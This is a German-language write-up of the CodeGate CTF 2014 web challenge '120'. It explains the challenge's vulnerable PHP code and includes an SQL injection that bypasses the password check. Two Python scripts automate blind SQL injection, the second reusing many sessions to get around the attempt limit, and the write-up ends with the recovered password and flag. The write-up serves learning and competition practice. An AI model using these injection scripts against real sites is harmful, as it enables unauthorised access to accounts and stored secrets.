CodeGate CTF 2014 – 120

CodeGate CTF 2014 - 120 - Task description

Die Challenge “120” nennt uns ohne weitere Hinweise nur eine Webseite und deren zeigt uns deren PHP-Quellcode. Zu Beginn rufen wir die Webseite direkt auf:

CodeGate CTF 2014 - 120 - Limited tries website

Wir erkennen eine Passwortabfrage sowie einen Zähler, der bei 120 beginnt und mit jedem Webseitenaufruf um Eins herunter zählt. Des Weiteren ist ein Link “Auth” sichtbar, der zu dieser Seite führt:

CodeGate CTF 2014 - 120 - Authentication website

Wir sehen eine weitere Seite mit Passwortabfrage, in der jedoch bereits ein erster Hinweis enthalten ist, nämlich, dass das nur Kleinbuchstaben enthält. Unser Ziel scheint es also zu sein, an das Passwort zu gelangen.

Als Nächstes sehen wir uns den Quellcode der Webseite an um deren Funktionalität zu verinnerlichen. Auszugsweise tut die Webseite folgendes:

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

Zuerst wird über die PHP-Session geprüft, ob die Webseite bereits mehr als 120 Mal aufgerufen wurde – das entsprecht auch unserer Beobachtung des Zählers. Wenn das der Fall ist, dann wird die Session entfernt. Das heißt, pro Sitzung hat man tatsächlich nur 120 Versuche, bevor eine neue Sitzung erzwungen wird.

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

Wenn noch keine Sitzung existiert, wird uns ein Passwort zugewiesen und der Zähler (cnt) auf Null gesetzt. Anschließend werden aus einer Datenbank alle Einträge die unsere IP-Adresse betreffen gelöscht und ein neuer Eintrag mit dem generierten Passwort angelegt.

if ( $_POST['password'] ){

  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

Im Anschluss erfolgt die Überprüfung des Passwortes. Hierbei wird zunächst anhand eines Regulären Ausdrucks geprüft, ob bestimmte Zeichen enthalten sind, die auf eine SQL-Injection rückschließen lassen. Wenn das der Fall ist, wird die Abarbeitung mit “Wrong access” beendet.

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

Dann wird mittels der Datenbank überprüft, ob zu der IP-Adresse des Besuchers und des eingegebenen Passwortes ein Eintrag existiert. Ist das der Fall, dann erfolgt die Rückgabe “True”, ansonsten “False”.

Wir können wir nun an das Passwort und damit die Lösung der Aufgabe gelangen?

Lassen wir zunächst alle Rahmenbedingungen außer Acht und versuchen mit einer SQL-Injection nur die Überprüfung des Passwortes zu umgehen. Dazu würde sich die Eingabe von ‘ or ‘1’=’1 eignen, da die gesamte SQL-Abfrage dann wie folgt lauten würde:

select * from rms_120_pw where (ip=’…’) and (password=’‘ or ‘1’=’1‘)

Beim Test erhalten wir diese Ausgabe:

CodeGate CTF 2014 - 120 - Login successful

Diese SQL-Injection funktioniert also! Nun wollen wir versuchen zunächst einmal an das erste Zeichen des Passwortes zu gelangen. Da die Webseite jedoch nur zwei Ausgaben (“True” und “False”) hat, müssen wir eine Blind-SQL-Injection anwenden. Dabei nutzen wir die MySQL-Funktion substr(), indem wir folgende Abfrage erzeugen:

select * from rms_120_pw where (ip=’…’) and (password=’‘ or ‘1’=’1′ and substr(password, 1, 1)=’a)

Hier wird das erste Zeichen des Passwortes auf “a” geprüft. Dies kann man nun in einem einfachen Python-Skript automatisieren:

#!/usr/bin/python

import requests

r = requests.get('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php')
cookie = r.cookies

tries = 120
for pos in range(1,31):
  for i in range(97,123):
    char = chr(i)
    payload = {'password': "' or '1'='1' and substr(password, " + str(pos) + ", 1)='" + char}
    r = requests.post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php', cookies=cookie, data=payload)
    tries -= 1

    if r.text == "True":
      print "Pos " + str(pos) + ": " + char + " (" + str(tries) + " tries left)"
      continue

Bei Ausführung des Skriptes erhalten wir:

rup0rt@lambda:~/codegate2014/web500$ ./web500_first.py
Pos 1: l (108 tries left)
Pos 2: e (79 tries left)
Pos 3: g (51 tries left)
Pos 4: k (21 tries left)
Pos 6: y (-2 tries left)
...

Das zeigt, dass das Passwort sich so tatsächlich auslesen lässt, aber die 120 Versuche keinesfalls für die (aus dem Quellcode erkennbaren) 30 Zeichen des Passwortes ausreichen! Es ist also wohl eine weitere Schwäche der Webseite erforderlich. Wir sehen uns also den Quellcode nochmals an.

Dabei fällt auf, dass nur ein neues Passwort in die Datenbank geschrieben wird, wenn eine neue Session angelegt wird! Wenn wir aber vorher viele Sessions anlegen, uns merken und nie alle 120 Versuche aufbrauchen, sollte das Passwort für alle Sessions gleich bleiben!

Dieses Vorgehen ist in folgendem Python-Skript realisiert:

#!/usr/bin/python

import requests

sessions = []

for i in range(20):
  r = requests.get('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php')
  sessid = r.cookies['PHPSESSID']
  sessions.append(sessid)
  print "Creating session #" + str(i) + " (" + sessid + ")"

auth = ""
tries = 120
sessnr = 0
for pos in range(1,31):
  for i in range(97,123):

    if tries == 5:
      sessnr += 1
      tries = 120
      print "Using next session..."
      cookie = {'PHPSESSID': sessions[sessnr]}

    char = chr(i)
    payload = {'password': "' or '1'='1' and substr(password, " + str(pos) + ", 1)='" + char}
    r = requests.post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php', cookies=cookie, data=payload)
    tries -= 1

    if r.text == "True":
      auth += char
      print "Pos: " + str(pos) + " " + char
      continue

print "Auth: " + auth

Wenn wir dieses Skript nun ausführen, erhalten wir folgende Ausgabe:

rup0rt@lambda:~/codegate2014$ ./web500.py
Creating session #0 (akb39hrbr8rqvm5fthfb4a30r1)
Creating session #1 (bdpj91l31jki15cuad15t7tk10)
Creating session #2 (l7slj2qs1k86lj65hd7dlp8a15)
Creating session #3 (cpv1an6vjm6ctkb0m9dm2r77q2)
[...]

Pos: 1 e
Pos: 2 b
Pos: 3 t
Pos: 4 k
Using next session...
Pos: 5 m
Pos: 6 s
[...]

Auth: ebtkmsdrgtyeptoseooiymionoodts

Dieses Passwort müssen wir nun nur noch auf der Webseite zur Authentifizierung eingeben und erhalten:

CodeGate CTF 2014 - 120 - Solution

Die Lösung lautet somit “DontHeartMeBaby*$#@!“.

Leave a Reply

Your email address will not be published. Required fields are marked *